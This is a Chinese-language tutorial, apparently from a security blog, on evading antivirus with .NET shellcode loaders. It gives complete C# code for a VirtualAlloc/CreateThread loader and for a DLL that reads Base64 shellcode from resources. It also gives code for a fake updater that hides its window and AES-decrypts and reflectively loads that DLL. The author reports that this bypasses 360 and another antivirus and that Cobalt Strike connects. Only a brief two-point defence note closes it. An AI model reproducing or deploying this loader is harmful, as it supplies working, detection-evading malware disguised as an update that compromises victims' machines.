.NET簡單分離免殺加載Shellcode
傳統C#加載Shellcode
using System;using System.Collections.Generic;using System.Linq;using System.Runtime.InteropServices;using System.Text;
namespace TestShellCode{ internal class Program { static void Main(string[] args) { byte[] shellcode = {shellcode}; UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length); IntPtr hThread = IntPtr.Zero; UInt32 threadId = 0; IntPtr pinfo = IntPtr.Zero; hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); WaitForSingleObject(hThread, 0xFFFFFFFF); }
private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; [DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32")] private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, UInt32 dwFreeType); [DllImport("kernel32")] private static extern IntPtr CreateThread( UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId); [DllImport("kernel32")] private static extern bool CloseHandle(IntPtr handle); [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject( IntPtr hHandle, UInt32 dwMilliseconds); [DllImport("kernel32")] private static extern IntPtr GetModuleHandle( string moduleName); [DllImport("kernel32")] private static extern UInt32 GetProcAddress( IntPtr hModule, string procName); [DllImport("kernel32")] private static extern UInt32 LoadLibrary( string lpFileName); [DllImport("kernel32")] private static extern UInt32 GetLastError();
}
}
這里我們shellcode生成的32位的,所以.net編譯也選擇編譯生成x86的exe,編譯完成,可以cs正常上線。
殺毒測試,兩款殺毒軟件都報毒。



免殺思路
1、 簡單免殺
將shellcode采用aes、base64等方式進行加密。
2、 分離shell
將shellcode進行aes、base64等方式編碼和加密后在存放到資源文件中,程序運行后從資源文件中加載shellcode。
3、 分離shellcode加載器
將shellcode進行aes、base64等方式編碼和加密后在存放到資源文件中,程序運行后從資源文件中加載shellcode,同時將此功能封裝為dll程序。
4、 采取類似冰蝎動態Assembly加載方式加載dll程序
免殺操作
1、 創建shellcode加載器,生成dll。
首先將shell進行Base64編碼存放在資源文件config.txt文件中。注意此資源文件可放在外部exe加載器中(namespace需要一致)。
using System;using System.Collections.Generic;using System.Linq;using System.Reflection;using System.Resources;using System.Runtime.InteropServices;using System.Text;using System.Threading;
namespace bypass360{ public class Loader { public override bool Equals(object obj) { Thread t = new Thread(test); t.Start(); return true;
} public void test() {
Assembly myAssem = Assembly.GetEntryAssembly(); ResourceManager rm = new ResourceManager("bypass360.Properties.Resources", myAssem);//資源文件中讀取shellcode加載 string config = rm.GetString("config32"); byte[] shellcode = Convert.FromBase64String(config); UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length); IntPtr hThread = IntPtr.Zero; UInt32 threadId = 0; IntPtr pinfo = IntPtr.Zero; hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); WaitForSingleObject(hThread, 0xFFFFFFFF); }
private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; [DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32")] private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, UInt32 dwFreeType); [DllImport("kernel32")] private static extern IntPtr CreateThread( UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId); [DllImport("kernel32")] private static extern bool CloseHandle(IntPtr handle); [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject( IntPtr hHandle, UInt32 dwMilliseconds); [DllImport("kernel32")] private static extern IntPtr GetModuleHandle( string moduleName); [DllImport("kernel32")] private static extern UInt32 GetProcAddress( IntPtr hModule, string procName); [DllImport("kernel32")] private static extern UInt32 LoadLibrary( string lpFileName); [DllImport("kernel32")] private static extern UInt32 GetLastError();
}}

編譯完成shellcode加載器,一個已經過了,另一個還是報毒。

繼續分離動態加載,將Loader加載器aes加密生成Base64編碼的文件,存放在資源文件中。
創建一個外部加載器,這里我模擬的是一個更新程序,創建了一個winform項目,一個進度條自動加載幾秒后隱藏窗體,同時后臺冰蝎動態Assembly加
載方式從資源文件中加載加密好的Loader的dll程序,并實例化對應的加載器類,調用Equals加載shellcode。
using System;using System.Windows.Forms;using System.Runtime.InteropServices;using System.Resources;using System.Reflection;using System.Threading;using System.IO;using System.Security.Cryptography;using System.Text;
namespace bypass360{ public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void Form1_Shown(object sender, EventArgs e) { this.timer1.Start(); test();
} public void test() { //從資源文件中讀取加密shellcode Loader,加載shellcode Assembly myAssem = Assembly.GetEntryAssembly(); ResourceManager rm = new ResourceManager("bypass360.Properties.Resources", myAssem); string config = rm.GetString("dll32"); //Base64解碼 byte[] data = Convert.FromBase64String(config); //Aes解密還原程序集 byte[] key = Encoding.Default.GetBytes("1234567887654321"); byte[] cdata = new RijndaelManaged().CreateDecryptor(key, key).TransformFinalBlock(data, 0, data.Length); //Assembly動態加載程序集并實例化加載器調用Equals方法執行Shellcode Assembly assembly = typeof(Environment).Assembly; Assembly.Load(cdata).CreateInstance("bypass360.Loader").Equals("");
}
private void button1_Click(object sender, EventArgs e) { this.Hide(); } int p = 0; private void timer1_Tick(object sender, EventArgs e) { p++; if (p >= 3) { this.Hide(); } } }
}
由于這里shellcode是32位所以Loader dll和當前的exe加載器我們都編譯成x86,32位程序,如果是64位shellcode就全編譯為64位程序。
編譯后測試,兩款殺毒軟件均未檢出。

運行測試,成功上線,無攔截:


不完美的事,就是在webshell下面執行時,360主動防護對于后臺進程執行程序管理較為嚴格,只能采取其他措施在webshell下運行了。

防御方式
1、建議殺毒軟件更新檢測機制,對關鍵函數執行加強檢測。
2、對于用戶來說,不能抱著部署了殺軟軟件就“萬無一失”的心態開展防護工作,還是要通過APT、WAF、日志分析等其他綜合手段開展防護工作